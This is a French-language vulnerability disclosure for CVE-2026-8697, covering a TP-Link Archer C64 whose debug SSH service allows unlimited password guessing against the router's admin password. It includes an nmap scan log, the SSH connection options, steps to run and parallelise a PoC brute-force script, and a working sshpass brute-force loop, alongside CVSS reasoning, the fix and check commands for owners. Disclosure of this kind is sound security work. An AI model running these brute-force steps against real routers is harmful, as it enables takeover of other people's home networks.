CVE-2026-8697 : Contournement de la limitation de taux de connexion sur le TP-Link Archer C64

CVE-2026-8697 est un défaut logique dans l'OS du TP-Link Archer C64 (appelé TPOS dans le message de débogage). Il permet à tout utilisateur non privilégié connecté au routeur de contourner la limitation de taux de l'interface Web en utilisant un service SSH résiduel. Un simple script Python peut être utilisé pour essayer de nombreux mots de passe en peu de temps et obtenir un accès administrateur complet sur le routeur.

POC : poc.py

Le routeur dispose d'un service SSH de débogage qui n'accorde pas de shell sur le routeur, il se contente de se fermer lorsque le mot de passe correct a été saisi. Mais il utilise le même mot de passe que l'interface d'administration et n'a ni limitation de taux ni politiques de verrouillage. En tant que tel, il peut être utilisé comme un oracle d'authentification à haute vitesse pour forcer le mot de passe par force brute. Cette vulnérabilité peut être utilisée par des appareils IoT malveillants ou compromis sur le réseau pour obtenir un accès administrateur complet au routeur. Un attaquant ne peut pas obtenir un accès shell via cette interface, mais il peut facilement vérifier les identifiants pour compromettre l'interface de gestion Web principale.

Cette vulnérabilité a été corrigée dans la version du firmware 1.15.0, qui supprime simplement le service. Pour tester votre routeur, utilisez cette commande (Linux/macOS) :

timeout 10 nc -vz 192.168.0.1 22
echo $?

Remplacez l'adresse IP par l'adresse que vous utilisez pour vous connecter à l'interface Web du routeur. Si la sortie est 0 ou affiche succeeded!, votre routeur est vulnérable. Sinon, il ne l'est pas. Sous Windows, exécutez la commande suivante dans PowerShell :

tnc 192.168.0.1 -Port 22

Si elle affiche TcpTestSucceeded : True, votre routeur est vulnérable. Sinon, si elle reste bloquée indéfiniment ou affiche False, il n'est pas vulnérable.

Le bug est entièrement basé sur la logique et ne nécessite pas de corruption mémoire, de contournement d'ASLR ou de victoire dans des conditions de concurrence.

Découverte et reproduction

À l'époque, j'apprenais Nmap et, pour m'amuser, j'ai décidé de scanner mon routeur. À ce moment-là, je ne cherchais pas de vulnérabilités, mais j'ai remarqué un service SSH ouvert.

$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey: 
|_  1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp  open  tcpwrapped
80/tcp  open  http       TP-LINK router http config
|_http-title: Opening...
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after:  2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Le journal ci-dessus montre un service SSH exécutant OpenSSH 6.6.0 (une version obsolète de 2014, mais la version n'a pas d'importance pour cela). Voyant la version très ancienne, j'ai soupçonné qu'elle pourrait être utilisée par un attaquant et j'ai essayé de me connecter en SSH avec l'intention d'obtenir un shell et de mettre à jour le firmware. À ce moment-là, j'essayais de sécuriser mon routeur, pas de trouver des vulnérabilités. Cependant, la connexion a présenté un problème intéressant : la clé d'hôte et les algorithmes de clé publique n'étaient pas pris en charge sur ma version d'OpenSSH. L'utilisation de -o n'a pas non plus fonctionné sur mon système, j'ai donc dû utiliser un conteneur debian:bullseye-slim qui dispose d'un client OpenSSH prenant en charge les algorithmes diffie-hellman-group14-sha1 et ssh-dss.

À l'intérieur du conteneur, après avoir installé le client OpenSSH, j'ai pu me connecter au serveur SSH.

ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
    -o HostKeyAlgorithms=+ssh-dss [email protected]

J'ai utilisé cette commande et j'ai enfin pu me connecter au serveur SSH, qui m'a accueilli avec le message TPOS 5 IPSSH Test et une invite de mot de passe. Cependant, après avoir saisi le mot de passe, la connexion s'est immédiatement fermée. J'ai même essayé d'exécuter directement une commande mais elle n'a pas été exécutée. J'ai réalisé qu'il n'y avait pas de shell, donc un attaquant ne pouvait pas accéder à mon routeur. Mon routeur est donc sûr, n'est-ce pas ? Eh bien, pas vraiment. J'ai réalisé que même si vous n'obteniez aucun accès, vous saviez si votre mot de passe était correct ou non. Et ce mot de passe était le même que celui de l'interface Web, et il n'y avait absolument aucune limitation de taux ni quoi que ce soit pour empêcher une attaque par force brute. C'est à ce moment que l'idée de transformer cela en CVE m'est venue. J'ai essayé d'automatiser l'attaque. D'abord, j'ai essayé d'utiliser sshpass dans une boucle bash mais vous ne pouviez pas utiliser plusieurs mots de passe par connexion, j'ai donc essayé de créer un script Python. C'est le POC joint.

Pour utiliser le POC, créez d'abord un venv et installez pexpect. Notez que le script n'utilise pas le module pxssh de Pexpect car il ne prend pas en charge l'essai de plusieurs mots de passe en une seule connexion.

python3 -m venv venv
source venv/bin/activate
pip install pexpect

Enregistrez le script sous poc.py et exécutez-le. Vous pouvez éventuellement passer un chemin vers une liste de mots de passe séparés par des sauts de ligne comme premier argument. Si vous ne le faites pas, il utilisera les nombres de 1 à 100 comme mots de passe (pour tester la vitesse).

python3 poc.py list.txt

Vous pouvez paralléliser l'attaque en exécutant plusieurs instances avec des listes différentes. Si vous exécutez plus de 3 instances, vous commencerez à voir des erreurs de connexion. Le script s'assure que tous les mots de passe sont essayés.

python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &

Impact potentiel

Un attaquant peut utiliser un appareil IoT malveillant ou compromis sur le réseau pour forcer le mot de passe par force brute et obtenir un accès administrateur à l'interface d'administration. Il n'y a aucune indication pour l'utilisateur que cela se produit, et l'attaquant peut le faire pendant longtemps sans être détecté. Une fois que l'attaquant a accès à l'interface d'administration, il peut modifier les paramètres DNS pour effectuer un détournement DNS, modifier le mot de passe Wi-Fi pour verrouiller les utilisateurs, utiliser le routage statique pour intercepter le trafic non chiffré ou bloquer l'accès au réseau en routant vers une IP inexistante, rediriger les ports, désactiver le pare-feu/ALG, etc.

CVSS 4.0

Le vecteur d'attaque CVSS 4.0 pour cette vulnérabilité est :

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H

, ce qui correspond à un score de 9,3 Critique. Mon raisonnement pour chaque métrique est le suivant :

• Vecteur d'attaque (AV) : Adjacent (A) L'attaquant doit être connecté au réseau Wi-Fi pour exploiter cette vulnérabilité.
• Complexité de l'attaque (AC) : Faible (L) L'attaque est simple et ne nécessite aucune condition particulière. Une implémentation de base de l'attaque peut ressembler à ceci :

while read pass;do
    sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
    if [ $? -eq 0 ]; then
        echo "Mot de passe trouvé : $PASS"
        break
    fi
done < list.txt

(Notez que cela est plus lent que le script POC car il n'essaie pas plusieurs mots de passe par connexion)

• Exigences d'attaque (AT) : Aucune (N) Il s'agit d'un bug purement logique et ne nécessite aucune condition telle que gagner une condition de concurrence.
• Privilèges requis (PR) : Aucun (N) Aucun privilège spécial n'est requis. Notez que l'exigence d'être connecté au réseau Wi-Fi est déjà capturée dans AV:A.
• Interaction de l'utilisateur (UI) : Aucune (N) L'attaque peut être effectuée sans aucune interaction de l'utilisateur.
• Confidentialité, intégrité et disponibilité du système vulnérable (VC, VI, VA) : Élevée (H) L'attaquant obtient un accès administrateur complet au routeur, ce qui constitue une compromission complète de la confidentialité et de l'intégrité du routeur. L'attaquant peut facilement rendre le routeur inutilisable de nombreuses manières et nécessiter un accès physique pour le réparer (par exemple, en utilisant la fonction de contrôle d'accès pour n'autoriser qu'une adresse MAC inexistante à accéder à l'interface d'administration et en désactivant le Wi-Fi et en modifiant les paramètres Internet pour casser l'accès à Internet).
• Confidentialité et intégrité du système subséquent (SC, SI) : Faible (L) L' attaquant peut intercepter le trafic en utilisant diverses méthodes (par exemple, modifier le DNS, utiliser le routage statique), donc ce n'est pas Aucun. Cependant, compte tenu du fait que la plupart du trafic est chiffré, l'impact sur le système subséquent est limité. (Bien que je ne sois pas sûr que cela doive être Élevé ou Faible)
• Disponibilité du système subséquent (SA) : Élevée (H) L'attaquant peut facilement casser l'accès à Internet de tous les appareils connectés au routeur.

Analyse et divergence CVSS 4.0

Le fournisseur (TP-Link) a publié cette vulnérabilité avec un score de 8,7 (Élevé) avec le vecteur : CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Cependant, cette recherche soutient que l'impact sur le système subséquent ne devrait pas être noté comme "Aucun". Parce que le routeur agit comme la passerelle principale pour tous les appareils connectés :

1. Disponibilité subséquente (SA:H) : L'accès administrateur permet à un attaquant de bloquer définitivement l'accès à Internet pour tous les appareils connectés.
2. Intégrité/Confidentialité subséquente (SI:L/SC:L) : Le détournement DNS et la manipulation du routage permettent une redirection active du trafic et la collecte de métadonnées.

Par conséquent, une représentation plus précise du risque pour le réseau domestique est 9,3/Critique comme discuté ci-dessus.

Atténuation

La mise à jour du firmware du routeur vers la version 1.15.0 Build 250729 ou ultérieure corrigera ce problème.

Calendrier de divulgation coordonnée

Références

• Avis de sécurité
• Enregistrement CVE

Cette vulnérabilité a été découverte et signalée par Tanjim Kamal.

• Site Web : tanjim.org
• GitHub : itzmetanjim
• Email : [email protected]